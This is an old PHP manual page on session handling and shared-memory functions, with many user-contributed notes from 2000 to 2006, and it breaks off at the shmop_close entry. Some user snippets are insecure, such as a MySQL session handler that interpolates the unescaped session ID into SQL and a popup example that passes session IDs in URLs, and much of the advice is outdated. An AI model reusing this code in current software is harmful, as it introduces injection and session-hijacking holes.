rafael dot tz at uol dot com dot br
26-Jul-2003 02:38
Hi people! I was wondering about a MySQL Sessions control... Here is some of my work, a little mod on some cods that I've found this far:

if(!mysql_table_exists("sessions",$DB))
{
       $query = 'CREATE TABLE sessions
                 (
                 SessionID    char(255)  not null,
                 LastUpdated  datetime    not null,
                 DataValue    text,
                 PRIMARY KEY ( SessionID ),
                 INDEX ( LastUpdated )
                 )';
       mysql_query($query);
}

function sessao_open($aSavaPath, $aSessionName)
{
       global $aTime;

       sessao_gc( $aTime );
       return True;
}

function sessao_close()
{
       return True;
}

function sessao_read( $aKey )
{
       $query = "SELECT DataValue FROM sessions WHERE SessionID='$aKey'";
       $busca = mysql_query($query);
       if(mysql_num_rows($busca) == 1)
       {
             $r = mysql_fetch_array($busca);
             return $r['DataValue'];
       } ELSE {
             $query = "INSERT INTO sessions (SessionID, LastUpdated, DataValue)
                       VALUES ('$aKey', NOW(), '')";
             mysql_query($query);
             return "";
       }
}

function sessao_write( $aKey, $aVal )
{
       $aVal = addslashes( $aVal );
       $query = "UPDATE sessions SET DataValue = '$aVal', LastUpdated = NOW() WHERE SessionID = '$aKey'";
       mysql_query($query);
       return True;
}

function sessao_destroy( $aKey )
{
       $query = "DELETE FROM sessions WHERE SessionID = '$aKey'";
       mysql_query($query);
       return True;
}

function sessao_gc( $aMaxLifeTime )
{
       $query = "DELETE FROM sessions WHERE UNIX_TIMESTAMP(NOW()) - UNIX_TIMESTAMP(LastUpdated) > $aMaxLifeTime";
       mysql_query($query);
       return True;
}

session_set_save_handler("sessao_open", "sessao_close", "sessao_read", "sessao_write", "sessao_destroy", "sessao_gc");
Joe Wheeler
31-Jan-2003 09:04
If you happen to want to build a session manager object you can set the handlers from inside the class. This helps to keep the class encapsulated which helps make it nice and reusable.

class Session_manager {
...
   session_set_save_handler(
       array(& $this, 'session_open_method'),
       array(& $this, 'session_close_method'),
       array(& $this, 'session_read_method'),
       array(& $this, 'session_write_method'),
       array(& $this, 'session_destroy_method'),
       array(& $this, 'session_gc_method')
   );
...
}

Each handler is identified by an array containing a self-reference to the instance (note the &) and a string identifying a method in the session manager class.

Remember that the new operator passes back a copy of the object. This is important if you want to call session_set_save_handler() from inside the class constructor. You must remember to use another reference when you create the instance...

$my_session_manager = & new Session_manager;

Otherwise the session handlers will be assigned to an instance which is created by the new operator and NOT to the copy which is stored in the variable $my_session_manager.
ivo at magstudio dot net
25-Nov-2002 11:08
Just a few words to explain some troubles while using session_set_save_handler(). It appears that internally PHP calls session management functions in this order: open(), read(), write(), close(). Close() function is called even if you does not make a call to sesison_start(), perhaps for some reasons like cleaning.
   If you try to redefine these functions and call sessions_set_save_handler() but something doesn't work, (in my case the ssion data hasn't been written) it's a good idea to debug them in the order they are called. They doesn't produce error output to browser but you can use print or echo.
   Shortly, if your write() function doesn't work as expected take a look for errors in previous functions - open() and read().
   I hope that this will help to save someone few hours debugging.
steve at saturn5 dot com
10-Jun-2002 11:39
if you want to call session_start again after session_destroy, you have to call session_set_save_handler a second time. otherwise the session module doesn't know about all the nice functions you defined earlier because it has been destroyed.

example:

# session handlers functions are defined
# somewhere else

session_set_save_handler ("sess_open", "sess_close", "sess_read", "sess_write", "sess_destroy", "sess_gc");

session_start();

# do some stuff ...

session_destroy();

# call this again, because session_destroy
# destroys more than just the session.

session_set_save_handler ("sess_open", "sess_close", "sess_read", "sess_write", "sess_destroy", "sess_gc");

session_start();

...

we need to call session_start() twice in our login script to prevent multiple logins. i tore my hair out over this one. hope this helps someone else. :)
spam at skurrilo dot de
08-May-2002 07:16
You can't use the session autostart feature with

session.save_handler = user

set in your php.ini. Use instead the auto_prepend_file directive in the php.ini and point it to your save_handler with an session_start() at the end.
jpm at phpbrasil dot com
18-Apr-2002 01:51
You may also use static class methods as the 'function names' for session_set_save_handler(), as in:

<?php
session_set_save_handler(
  array("SessionHandler", "open"),
  array("SessionHandler", "close"),
  array("SessionHandler", "read"),
  array("SessionHandler", "write"),
  array("SessionHandler", "destroy"),
  array("SessionHandler", "gc")
);
?>

Anyway, just a little note that this is also possible.
add a note add a note

后退 | 起点 | 前进
session_set_cookie_params | 上一级 | session_start


session_start

(PHP 4, PHP 5)

session_start -- Initialize session data

Description

bool session_start ( void )

session_start() creates a session or resumes the current one based on the current session id that's being passed via a request, such as GET, POST, or a cookie.

This function always returns TRUE.

注: If you are using cookie-based sessions, you must call session_start() before anything is outputted to the browser.

例子 1. A session example: page1.php

<?php
// page1.php

session_start();

echo 'Welcome to page #1';

$_SESSION['favcolor'] = 'green';
$_SESSION['animal']   = 'cat';
$_SESSION['time']     = time();

// Works if session cookie was accepted
echo '<br /><a href="page2.php">page 2</a>';

// Or maybe pass along the session id, if needed
echo '<br /><a href="page2.php?' . SID . '">page 2</a>';
?>

After viewing page1.php, the second page page2.php will magically contain the session data. Read the session reference for information on propagating session ids as it, for example, explains what the constant SID is all about.

例子 2. A session example: page2.php

<?php
// page2.php

session_start();

echo 'Welcome to page #2<br />';

echo $_SESSION['favcolor']; // green
echo $_SESSION['animal'];   // cat
echo date('Y m d H:i:s', $_SESSION['time']);

// You may want to use SID here, like we did in page1.php
echo '<br /><a href="page1.php">page 1</a>';
?>

If you want to use a named session, you must call session_name() before calling session_start().

session_start() will register internal output handler for URL rewriting when trans-sid is enabled. If a user uses ob_gzhandler or like with ob_start(), the order of output handler is important for proper output. For example, user must register ob_gzhandler before session start.

注: Use of zlib.output_compression is recommended rather than ob_gzhandler()

注: As of PHP 4.3.3, calling session_start() while the session has already been started will result in an error of level E_NOTICE. Also, the second session start will simply be ignored.

See also $_SESSION, session.auto_start, and session_id().

add a note add a note User Contributed Notes
info at methodus dot de
19-May-2006 02:42
To avoid the notice commited by PHP since 4.3.3 when you start a session twice use this function:

<?php
function start_session(){
   static $started=false;
   if(!$started){
       session_start();
       $started = true;
   }
}
?>

This should help you when your error reporting is set to E_ALL
admin at haravikk dot com
10-May-2006 09:00
Just a note for any of you who have the same trouble as I did. $_SESSION appears to break horribly if you attempt to assign information into integer keys.

For example, a result from a MySQL query may look like:

<?php
array(
   0 => 'haravikk',
   'username' => 'haravikk',
   1 => 'fish',
   'password' => 'fish'
   );
?>

Attempting to assign that to $_SESSION either as a straight array, or by placing all keys (for example using a foreach) will FAIL and the data will be unavailable when you move to another page. My solution was to do this:

<?php
function storeSessionArray($array) {
   foreach($array as $k => $v)
       if (is_string($k)) $_SESSION[$k] = $v;
}
?>

This worked correctly =)
phpguru at orangethink dot com
19-Mar-2006 03:57
"SESSION FUNCTION IS DOMAIN SPECIFIC.

So, to savage the situation. be domain specific."

Umm. No, it isn't. It is however only domain specific when the domains are hosted on the same server.
You can still share session data between domain2.com and domain3.com just with that caveat.
crs at vankuik dot nl
01-Feb-2006 05:56
As the previous note said, the session_start() function needs a directory to write to.

You can get Apache plus PHP running in a normal user account. Apache will then of course have to listen to an other port than 80 (for instance, 8080).

Be sure to do the following things:
- create a temporary directory PREFIX/tmp
- put php.ini in PREFIX/lib
- edit php.ini and set session.save_path to the directory you just created

Otherwise, your scripts will seem to 'hang' on session_start().
james at skinsupport dot com
23-Dec-2005 10:17
One thing of note that caused me three days of trouble:

It's important to note that Firefox (for one) makes two calls to the server automatically.  One for the page, and one for favicon.ico.

If you are setting session variables (as I was) to certain values when a page exists, and other values when pages don't exist, the values for non-existent pages will overwrite the values for existing pages if favicon.ico doesn't exist.

I doubt many of you are doing this, but if you are, this is a consideration you need to address or you'll be bald over the course of a three day period!
zackbloom at gmail dot com
04-Dec-2005 03:16
Yes php does not automatically insert the SID in header redirects.  You must use something like:
'<address>?SID='.SID
to manually insert the SID.
jeremygiberson at gmail dot com
18-Oct-2005 02:13
foltscane at yahoo dot com wrote about people losing session information on page redirects.

The problem is some times the redirect may kick you off to the next page before all the session variables have been saved. The true solution to lost session vars on redirect is to simply call session_write_close(); before setting the redirect header. This will insure that php finishes writing the session info before page redirect gets underway.

ie:
<?
   session_start();
   $_SESSION['forward'] = "This session data will not be lost!";

   session_write_close();
   header('Location: nextpage.php');
?>
erm[at]the[dash]erm[dot]com
28-May-2005 04:04
If you are insane like me, and want to start a session from the cli so other scripts can access the same information.

I don't know how reliable this is.  The most obvious use I can see is setting pids.

// temp.php

#!/usr/bin/php -q
<?php

session_id ("temp");
session_start();

if ($_SESSION) {
   print_r ($_SESSION);
}

$_SESSION['test'] = "this is a test if sessions are usable inside scripts";

?>

// Temp 2

#!/usr/bin/php -q
<?php

session_id ("temp");
session_start();

   print_r ($_SESSION);

?>
corey at eyewantmedia dot com
20-May-2005 10:19
Here is a crazy feature -- you get one concurrent database connection per session, transparent to the programmer!

I am running php 5.0.4 on iis 6 (yeah, I know...). I noticed under stress testing that database connections were my bottleneck. I spent like 5 hours turning this on, that off, etc because I could not get php to create more than one database connection at a time, regardless of how many requests it was servicing. I tried running php as fastcgi, cgi, and isapi module. I tried using mysql and mysqli extensions. Same thing every time. Then I happened to turn off auto-start sessions and commented out my session_start() calls, and all of the sudden I get multiple connections like I expected!

Don't let this happen to you -- don't freak out! Apparently something somewhere tries to make sure your visitors don't get more than their share of your resources, so they get one db connection per session. I can't say it is what I would like to happen, but now that I know, it doesn't bother me much :) Hope this saves someone some time and headache!
Jose Cavieres
13-Apr-2005 01:11
For the problem of session lost after of redirect with header location...

Try with this:
<?
session_start();
$_SESSION['mySession'] = "hello";

header ("Location: xpage.php");
exit(); //This sentence do the magic
?>
jorrizza at gmail dot com
02-Apr-2005 09:33
If you open a popup window (please no commercial ones!) with javascript window.open it might happen IE blocks the session cookie.
A simple fix for that is opening the new window with the session ID in a GET value. Note I don't use SID for this, because it will not allways be available.

----page.php----
//you must have a session active here
window.open('popup.php?sid=<?php echo session_id(); ?>', '700x500', 'toolbar=no, status=no, scrollbars=yes, location=no, menubar=no, directories=no, width=700, height=500');

----popup.php----
<?php
session_id(strip_tags($_GET['sid']));
session_start();
//and go on with your session vars
?>
hbertini at sapo dot pt
14-Mar-2005 04:29
workaround when using session variables in a .php file referred by a frame (.html, or other file type) at a different server than the one serving the .php:

Under these conditions IE6 or later silently refuses the session cookie that is attempted to create (either implicitly or explicitly by invoquing session_start()).

As a consequence, your session variable will return an empty value.

According to MS kb, the workaround is to add a header that says your remote .php page will not abuse from the fact that permission has been granted.

Place this header on the .php file that will create/update the session variables you want:

<?php header('P3P: CP="CAO PSA OUR"'); ?>

Regards,
Hugo
raphael at cynage dot com
23-Feb-2005 12:35
Quick point, since this had been going round in circles for days...

IE will not accept sessions from a domain that has an non alpha-numeric character in it. My development site was running under the vhost mos_dev and it was killing me, trying to work out why IE kept dropping my sessions.
lukasl at ackleymedia dot REMOVESPAM dot com
18-Dec-2004 02:18
About the Session not getting saved on a header("Location:") redirect.

Make sure to call session_write_close() before doing the redirect.  This will make sure that the session values get written to the disk.
m dot kuiphuis at hccnet dot nl
24-Jun-2003 06:37
[Editors Note: For more information about this
http://www.zvon.org/tmRFC/RFC882/Output/chapter5.html ]

I use name-based virtual hosting on Linux with Apache and PHP 4.3.2.
Every time when I refreshed (by pressing F5 in Internet Explorer) I noticed that I got a new session_id. Simultaneously browsing the same site with Netscape didn't give me that problem. First I thought this was some PHP issue (before I tested it with Netscape), but after searching a lot on the internet I found the problem.
Since I was using name based virtual hosting for my testserver and we have different webshops for different customers I used the syntax webshop_customername.servername.nl as the domain-name.
The _ in the domain name seemed to be the problem. Internet Explorer just denies setting the cookie on the client when there is a special character (like an _ ) in the domain name. For more information regarding this issue: http://support.microsoft.com/default.aspx?scid=kb;EN-US;316112
Stupidly enough, this information was related to asp (yuk :o)
gadgetguy03 at lycos dot com
21-Jun-2003 10:18
SESSION LOST ON HEADER REDIRECT (CGI on IIS 5.0)

I realize there are numerous scattered posts on this issue, but I would like to add my 2 since it took me a whole day and a download of the LiveHTTPHeaders Mozilla plugin to figure it out.

On the **CGI** version of PHP on IIS 5.0/Windows 2000, the following code will not work as expected:

/***** sess1.php *****/
session_start();
$_SESSION["key1"] = "testvalue";
header("Location: sess2.php");

/***** sess2.php *****/
session_start();
echo "key1 = '".$_SESSION["key1"]."'";

PROBLEM:
All session data is lost after a header redirect from the first page on which the session is initialized. The problem is, the PHPSESSID cookie is not being sent to the browser (ANY browser, IE or Mozilla) on the initial session page with the header("Location: ...") redirect. This is unrelated to client cookie settings - the set-cookie: header just isn't sent.

SOLUTION:
I was able to remedy the problem by switching to the ISAPI DLL version. This seems to be an MS/IIS bug, NOT a PHP bug - go figure. I hope this saves you some headaches especially with your user authentication scripts!!

The closest matching "bug" report I found:
http://bugs.php.net/bug.php?id=14636
benja at benja dot be
16-Apr-2003 02:45
Just for info, session_start() blocks if another PHP using the same session is still running in background. It seems it's waiting the other PHP to finish... and sometimes it can be a problem. Create 2 different sessions by setting 2 different names : session_name() solve the problem.

Benja.
mickey at UNSPAMwebsoft dot com
20-Mar-2002 09:00
A note on Windows installations with an NTFS file structure:

Make sure you give your Internet user account (usually IUSR_MACHINENAME) "Modify" access to the session.save_path directory.  Otherwise session_start() will silently - and oh, so slowly - fail.

("Modify" is a Win2k term, but the concept translates to older IIS installs).
add a note add a note

后退 | 起点 | 前进
session_set_save_handler | 上一级 | session_unregister


session_unregister

(PHP 4, PHP 5)

session_unregister -- Unregister a global variable from the current session

Description

bool session_unregister ( string name )

session_unregister() unregisters the global variable named name from the current session.

This function returns TRUE when the variable is successfully unregistered from the session.

注: If $_SESSION (or $HTTP_SESSION_VARS for PHP 4.0.6 or less) is used, use unset() to unregister a session variable. Do not unset() $_SESSION itself as this will disable the special function of the $_SESSION superglobal.

注意

This function does not unset the corresponding global variable for name, it only prevents the variable from being saved as part of the session. You must call unset() to remove the corresponding global variable.

注意

If you are using $_SESSION (or $HTTP_SESSION_VARS), do not use session_register(), session_is_registered() and session_unregister().

add a note add a note User Contributed Notes
Martin Pilka
18-May-2005 04:19
Same here. Unless I use session_unregister('varname') after unset(), varname is unset in current request, but set again in following request.

I use $_SESSION[] array, register_globals is off. session_unregister() is needed in spite what documentation says. PHP 4.1.2, Debian, package "php4 4.1.2-7.0.1".
dylan82 AT xs4all DOT nl
09-Dec-2004 05:13
If globals is on, you'll have to unset the $_SESSION[varname] as well as the $varname.

Like:

unset($_SESSION[varname]);
unset($varname);
jsmith at uncommoner dot com
27-Nov-2004 02:55
as a side note you must have session_start() set inorder to actually unregister the session varibles.
Somatik
11-Aug-2004 03:30
In reply to the above comment. If you forget the session_start(); you might have that problem. unset($_SESSION("varname")); works fine here.
jop at yes2web dot nl
28-Jun-2004 08:33
It took me some time to figure this out:
If you have register globals off, you probably use $_SESSION to acces you session vars. If you want clear a sessionvar inside the current script, but also in next pages, do this as follows:

session_unregister('varname');

Otherwise varname will keep returning either inside the script, or on the next pages.

unset($_SESSION['varname']) will only unset the session var on the current page.
add a note add a note

后退 | 起点 | 前进
session_start | 上一级 | session_unset


session_unset

(PHP 4, PHP 5)

session_unset -- Free all session variables

Description

void session_unset ( void )

The session_unset() function frees all session variables currently registered.

注: If $_SESSION (or $HTTP_SESSION_VARS for PHP 4.0.6 or less) is used, use unset() to unregister a session variable, i.e. unset ($_SESSION['varname']);.

注意

Do NOT unset the whole $_SESSION with unset($_SESSION) as this will disable the registering of session variables through the $_SESSION superglobal.

add a note add a note User Contributed Notes
InterNic
20-May-2006 06:20
sometimes you might have problems even if using both session_unset and session_destroy. You have to clear the $_SESSION array. I got it working this way:

session_unset();
session_destroy();
$_SESSION = array();
07-Mar-2006 11:56
Yes, that's how it is, first you write session_unset, and then the sentence session_distroy
zach at zkwarta dot com
14-Jul-2005 06:32
The difference between both session_unset and session_destroy is as follows:

session_unset just clears out the sesison for usage. The session is still on the users computer. Note that by using session_unset, the variable still exists.

Using session_unset in tandem with session_destroy however, is a much more effective means of actually clearing out data. As stated in the example above, this works very well, cross browser:

session_unset();
session_destroy();

I noticed that in firefox, one could simply use sesison_unset and the session would be cleared. When trying this on IE, I was horrified to find out that the data was still there, so I had to use session destroy.
Jeroen
15-Jan-2005 05:42
note to Jason: I don't know the exact mechanics of it (since I'm quite new to sessions) but I think you need to use session_unset() BEFORE you can use session_destroy() at all.  I thought that session_unset() was for scripted variables, and session_destroy() just for anything saved on your side regarding the session.
22-Mar-2001 12:58
To further clarify the note above... this can be done via the session handling directives in your php.ini file... there are options to set garbage collection probability (via percent... i.e. 75 means it would run 3 out of every 4 page accesses), and the amount of time a session object can remain active before the garbage collection process sees it as garbage.
dmertens at zyprexia dot com
01-Feb-2001 01:11
The session files are automaticly deleted after the session-timeout is reached. So if the time-out is set to 20 minutes, the files will be deleted 20 minutes after the last access. Same for the cookie. Every time, an page is requested, the cookie-ttl is set to now + 20 minutes.

PHP is a very clean scripting engine, which leaves no garbage on your system!
diogo dot afonso at terravista dot pt
30-Aug-2000 01:09
The only thing needed to really destroy the session is :

session_unset();
session_destroy();
j a s o n p 0 1 9 at yahoo dot com
14-Jul-2000 04:26
session_unset() vs. session_destroy():
I would say that the difference is that session_destroy() destroys the session variables, both in the script and where the session data is stored on disk.  session_unset() is like doing a session_unregister() on all registered variables.  They can still be re-registered by calling session_register() whereas after session_destroy, they cannot.
add a note add a note

后退 | 起点 | 前进
session_unregister | 上一级 | session_write_close


session_write_close

(PHP 4 >= 4.0.4, PHP 5)

session_write_close -- Write session data and end session

Description

void session_write_close ( void )

End the current session and store session data.

Session data is usually stored after your script terminated without the need to call session_write_close(), but as session data is locked to prevent concurrent writes only one script may operate on a session at any time. When using framesets together with sessions you will experience the frames loading one by one due to this locking. You can reduce the time needed to load all the frames by ending the session as soon as all changes to session variables are done.

add a note add a note User Contributed Notes
risaac at deadletter dot com
05-Apr-2006 03:46
Workaround if session_write_close() still doesn't write sessions fast enough:

I found with one PHP login system that even session_write_close() was not setting the session variables before I transferred pages with a Location: header.  So the user would log in, I would create the $_SESSION variables, call session_write_close() and then transfer to the secure page using header(Location:...).  The secure page would check for the session vars, not find them, and force the user to log in again.  After the second login the session would be found and they could continue.

My workaround was to create the $_SESSION variables with 0 values before writing the initial login page.  Then I updated the session vars with the login results and used the header() function to switch to the secure location.  Once the session vars have already been created, updated values are assigned quickly.  Problem solved.  Just be sure the secure page checks both that the $_SESSION var exists AND that it's not 0.
unspammable-iain at iaindooley dot com
24-Dec-2005 01:57
As we all know, if an object is serialised, then the class definition must be included _before_ it is unserialised.

My framework has an enormous number of class files, and including them all at the beginning of the script was really taking it's toll on my system (memory and execution time) so I switched to including required classes at the top of each class file that used them using require_once.

This caused problems because I start my session at the very beginning of my script's execution, but all my class files aren't there at the beginning!!

So no in my special 'require' function, I do the following:

if(!class_exists($to_require))
{
   session_write_close();
   require_once('path/to/classes/'.$to_require.'.php');
   session_start();
}

This is a considerably smaller performance hit that including every class that the application uses at the very beginning of the application.
cenaculo at netcabo dot pt
23-Jul-2005 06:32
This function is essencial when you change $_SESSION[] variables and then, at some poit in the middle of the script, you send an header("Location: http://...") function to the browser, because in this case the session variables may not be saved before the browser change to the new page.

To prevent from lossing session data, allways use session_write_close before this header function. session_write_close will force session data to be saved before the browser change to the new page.

Hope this will help you not to loose 1 day wondering why people could not authenticate or make other changes in session vars in your site.
bkatz at usefulengineering dot com
17-Jul-2005 11:05
session_write_close() worked as a lifesaver for me when automatically uploading files to a user (forcing a download instead of a link). If files are large, and since session_start() does not allow another page using session_start() to proceed until it's done, i was not able to upload more than one file at a time. By using session_write_close() before beginning the file upload, my users can now download as many big files as they like, at the same time. Example:

<?
session_start();
/* Do session stuff here; security; logging; etc. */
session_write_close();
/* NOW write out the requested file. */
header("Content-type: audio/x-mpeg"); /* or whatever type */
header("Content-Disposition: attachment; filename=" . $filename);
header("Content-Length: " . $filesize);
header("Content-Transfer-Encoding: binary\n\n");
header("Pragma: no-cache");
header("Expires: 0");
$file_contents = file_get_contents($filepath);
print($file_contents);
?>
editorial at literati dot ca
16-May-2005 04:13
Further to the comment by nakanishi at mailstyle dot com, it appears that calling session_write_close() followed by session_start() causes issues if you have more than one browser window/tab open in the session, and have a large session data array.  I have an intermitent (and hard to replicate reliably) issue with session_start() never being called or not returning - the script hangs before the session headers are written.  I'm puting this down to trying to be too clever rather than to a bug per se.
kumar mcmillan
07-May-2004 12:54
if you are trying to work with a larger code base meant for a specific application... and it implements some custom session save handlers, it appears there is no way to reset those save handlers back to the default php state if they are getting in your way.  my workaround:

session_write_close(); // close the session at the top of the page :)
jp at webgraphe dot com
22-Nov-2003 07:50
It is a good idea to call session_write_close() before proceeding to a redirection using

header("Location: URL");
exit();

because it ensures the session is updated (in a file or into a database, depending on the handler you're using) BEFORE you redirect the visitor somewhere else.

JP.
nakanishi at mailstyle dot com
19-Jan-2003 03:04
Make sure that you call session_start() again after session_write_close() if you rely on the SID rewriting.  Otherwise it will not be rewritten.
20-Apr-2002 10:48
This function is very useful for session objects. The class def'n of an obj needs to be included before the session is started. You can ignore this by closing the session with this function, and then use session_start() to restart it. Do this after including the class definition, but before using the session variable.
add a note add a note

后退 | 起点 | 前进
session_unset | 上一级 | Shared Memory Functions


Shared Memory Functions

PHP 手册
后退 前进

CXXXII. Shared Memory Functions

简介

Shmop is an easy to use set of functions that allows PHP to read, write, create and delete Unix shared memory segments.

注: Versions of Windows previous to Windows 2000 do not support shared memory. Under Windows, Shmop will only work when PHP is running as a web server module, such as Apache or IIS (CLI and CGI will not work).

注: In PHP 4.0.3, these functions were prefixed by shm rather than shmop.

需求

要编译本扩展模块不需要外部库文件。

安装

To use shmop you will need to compile PHP with the --enable-shmop parameter in your configure line.

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

预定义常量

本扩展模块未定义任何常量。

范例

例子 1. Shared Memory Operations Overview

<?php

// Create 100 byte shared memory block with system id if 0xff3
$shm_id = shmop_open(0xff3, "c", 0644, 100);
if (!$shm_id) {
    echo "Couldn't create shared memory segment\n";
}

// Get shared memory block's size
$shm_size = shmop_size($shm_id);
echo "SHM Block Size: " . $shm_size . " has been created.\n";

// Lets write a test string into shared memory
$shm_bytes_written = shmop_write($shm_id, "my shared memory block", 0);
if ($shm_bytes_written != strlen("my shared memory block")) {
    echo "Couldn't write the entire length of data\n";
}

// Now lets read the string back
$my_string = shmop_read($shm_id, 0, $shm_size);
if (!$my_string) {
    echo "Couldn't read from shared memory block\n";
}
echo "The data inside shared memory was: " . $my_string . "\n";

//Now lets delete the block and close the shared memory segment
if (!shmop_delete($shm_id)) {
    echo "Couldn't mark shared memory block for deletion.";
}
shmop_close($shm_id);

?>

目录
shmop_close -- Close shared memory block
shmop_delete -- Delete shared memory block
shmop_open -- Create or open shared memory block
shmop_read -- Read data from shared memory block
shmop_size -- Get size of shared memory block
shmop_write -- Write data into shared memory block

add a note add a note User Contributed Notes
joeldg at gmail.com
10-Feb-2006 03:28
I wrote a php memcache back in 2003 as a sort of proof of concept
it is use on a few machines for doing heavy page load caching...
it works very well.
Following are some of the core functions I made
<?
###############################################
#### shared mem functions
/*
   for debugging these
       use `ipcs` to view current memory
       use `ipcrm -m {shmid}` to remove
       on some systems use `ipcclean` to clean up unused memory if you
       don't want to do it by hand
*/
###############################################
   function get_key($fsize, $file){
       if(!file_exists(TMPDIR.TMPPRE.$file)){
           touch(TMPDIR.TMPPRE.$file);
       }
       $shmkey = @shmop_open(ftok(TMPDIR.TMPPRE.$file, 'R'), "c", 0644, $fsize);
       if(!$shmkey) {
               return false;
       }else{
           return $shmkey;
       }//fi
   }
   function writemem($fdata, $shmkey){
       if(MEMCOMPRESS && function_exists('gzcompress')){
           $fdata = @gzcompress($fdata, MEMCOMPRESSLVL);
       }
       $fsize = strlen($fdata);
       $shm_bytes_written = shmop_write($shmkey, $fdata, 0);
       updatestats($shm_bytes_written, "add");
       if($shm_bytes_written != $fsize) {
               return false;
       }else{
           return $shm_bytes_written;
       }//fi
   }
   function readmem($shmkey, $shm_size){
       $my_string = @shmop_read($shmkey, 0, $shm_size);
       if(MEMCOMPRESS && function_exists('gzuncompress')){
           $my_string = @gzuncompress($my_string);
       }
       if(!$my_string) {
               return false;
       }else{
           return $my_string;
       }//fi
   }
   function deletemem($shmkey){
       $size = @shmop_size($shmkey);
       if($size > 0){ updatestats($size, "del"); }
       if(!@shmop_delete($shmkey)) {
           @shmop_close($shmkey);
               return false;
       }else{
           @shmop_close($shmkey);
           return true;
       }
   }
   function closemem($shmkey){
       if(!shmop_close($shmkey)) {
               return false;
       }else{
           return true;
       }
   }
   function iskey($size, $key){
       if($ret = get_key($size, $key)){
           return $ret;
       }else{
           return false;
       }
   }
################################################
?>
Roy <roy AT enhost.com>
29-Jan-2006 01:58
I have written a script to highlight the superiority of shared memory storage.
Although it doesn't use the shmop function, the underlying concept is similar.
'/shm_dir/' is a tmpfs directory, which is based on shared memory, that I have mounted on the server.

Below is the result on an Intel Pentium VI 2.8 server:

IO test on 1000 files
IO Result of Regular Directory : 0.079015016555786
IO Result of Shared Memory Directory : 0.047761917114258

IO test on 10000 files
IO Result of Regular Directory : 3.7090260982513
IO Result of Shared Memory Directory : 0.46256303787231

IO test on 40000 files
IO Result of Regular Directory : 117.35703110695 seconds
IO Result of Shared Memory Directory : 2.6221358776093 seconds

The difference is not very apparent nor convincing at 100 files.
But when we step it up a level to 10000 and 40000 files, it becomes pretty obvious that Shared Memory is a better contender.

Script courtesy of http://www.enhost.com

<?
set_time_limit(0);

// Your regular directory. Make sure it is write enabled
$setting['regular_dir'] =  '/home/user/regular_directory/';

// Your shared memory directory.
$setting['shm_dir'] =  '/shm_dir/';

// Number of files to read and write
$setting['files'] =  40000;

function IO_Test($mode)
{
   $starttime = time()+microtime();

   global $setting;

       for($i = 0 ; $i< $setting['files'] ;$i++)
       {
           $filename = $setting[$mode].'test'.$i.'.txt';
           $content = "Just a random content";

               // Just some error detection
               if (!$handle = fopen($filename, 'w+'))
               {
                     echo "Can't open the file ".$filename;
                     exit;
               }

               if (fwrite($handle, $content ) === FALSE)
               {
                   echo "Can't write to file : ".$filename;
                   exit;
               }

               fclose($handle);

           // Read Test
           file_get_contents($filename);

       }

   $endtime = time()+microtime();

   $totaltime = ($endtime - $starttime);

   return $totaltime;

}

echo '<b>IO test on '.$setting['files']. ' files</b><br>';
echo 'IO Result of <b>Regular</b> Directory : '.IO_Test('regular_dir')  .' seconds<br>';
echo 'IO Result of <b>Shared Memory</b> Directory : '.IO_Test('shm_dir')      .' seconds<br>';

/* Removal of files to avoid underestimation
#
#        Failure to remove files will result in inaccurate benchmark
#        as it will result in the IO_Test function not re-creating the existing files
*/
   foreach ( glob($setting['regular_dir']."*.txt") as $filename) {
       unlink($filename);$cnt ++;
   }
   foreach ( glob($setting['shm_dir']."*.txt") as $filename) {
       unlink($filename);$cnt ++;
   }

?>
hackie at prohost dot org
27-Sep-2005 12:33
It's not the job of the shmop extension to provide locking, there are many locking schemes avalible, if you need some sort of atomic operations choose a locking scheme that suits you and use it.
adamstevenson at _NOSPAM_ gmail dot com
13-Apr-2005 03:12
Here is a little caching script that uses shared memory.  It provides some examples on how to use some of the functions. http://www.adamstevenson.net/mycached.phps
Helped me to cut down some of my page requests from 2 seconds to .035 seconds.
Craig Manley
07-Jan-2005 07:19
Since there is no mention of the (lack of) need for locking here, I took a look into the shmop.c extensions code. So correct me if I'm wrong, but the shmop.c extension uses memcpy() to copy strings to and from shared memory without any form of locking, and as far as I know, memcpy() is not atomic.

If that's true as I suspect, then these 'easy to use' functions are not so 'easy to use' any more and have to be wrapped in locks (e.g. semaphores, flocks, whatever).
joeldg AT listbid.com
03-May-2003 03:48
Just so you know, the ftok function is probably the best for getting the key.. just so there are not people confused with how they are coming up with these hex codes for the id.

$fsize = filesize("/home/joeldg/testdata");
$fdata = file_get_contents("/home/joeldg/testdata");
$shm_id = shmop_open(ftok("/home/joeldg/testdata", 'R'), "c", 0644, $fsize);
stoimenov at email dot com
24-Jul-2002 08:18
Windows does support shared memory through memory mapped file. Check the following functions for details:

 * CreateFileMapping
 * MapViewOfFile
hackie at misato dot prohost dot org
02-May-2002 09:15
Your segment probobly doesn't exist. You should probobly be using the c flag...

     "a" for access (sets SHM_RDONLY for shmat) use this flag when you need to open an existing shared memory segment for read only

     "c" for create (sets IPC_CREATE) use this flag when you need to create a new shared memory segment or if a segment with the same key exists, try to open it for read and write
rei at prohost dot org
12-Jan-2001 07:16
The idea behind SHMOP is an easy to use shared memory interface,
without any additional headers added to the shared memory segment
or requiring any special special controls to access the shared memory
segment outside of PHP. SHMOP borrows its api from C's api to shm,
which makes it very easy to use, because it treats shared memory, like C, as
a file of sorts. This makes it very easy to use even for novices, due to this
functionality. Most importantly SHMOP uses shm segments to store raw data,
which means you don't need to worry about matching headers, etc... when you are
using C, perl or other programming languages to open/create/read/write shm segments
that were create or are going to be used by PHP. In this it differs from
sysvshm, who's shm interface uses a specialized header, which resides inside
the shared memory segment this adds an unnecessary level of difficulty when
you want to access php shm from external programs.
Also, from my personal tests in Linux 2.2/2.4 and FreeBSD 3.3 SHMOP is about
20% faster then sysvshm, mostly due to fact it does not need to parse the
specialized header and stores the data in raw form.
slavapl at mailandnews dot com
12-Jan-2001 07:02
What you need to realise is that sysvshm is extremly php oriented in it's ability, it's quite a kludge interfacing other NON PHP utilities with it. For example have you tried using sysvshm to read an shm segment NOT created by php? It's not possible, because sysvshm uses a proprietry format, in essense it can ONLY be used within PHP unless of course you take time to figure out this format.
So basically, the purpose of shmop is to provide a symple interface to shared memory that can be used with OTHER NON php shm creators.

Hope this clears it up.
add a note add a note

后退 | 起点 | 前进
session_write_close | 上一级 | shmop_close


shmop_close

(PHP 4 >= 4.0.4, PHP 5)

shmop_close -- Close shared memory block

Description

void shmop_close ( int shmid )

shmop_close() is used to close a shared memory block.

shmop_close() takes the shmid, which is the shared memory block identifier created by shmop_open().

例子 1. Closing shared memory block

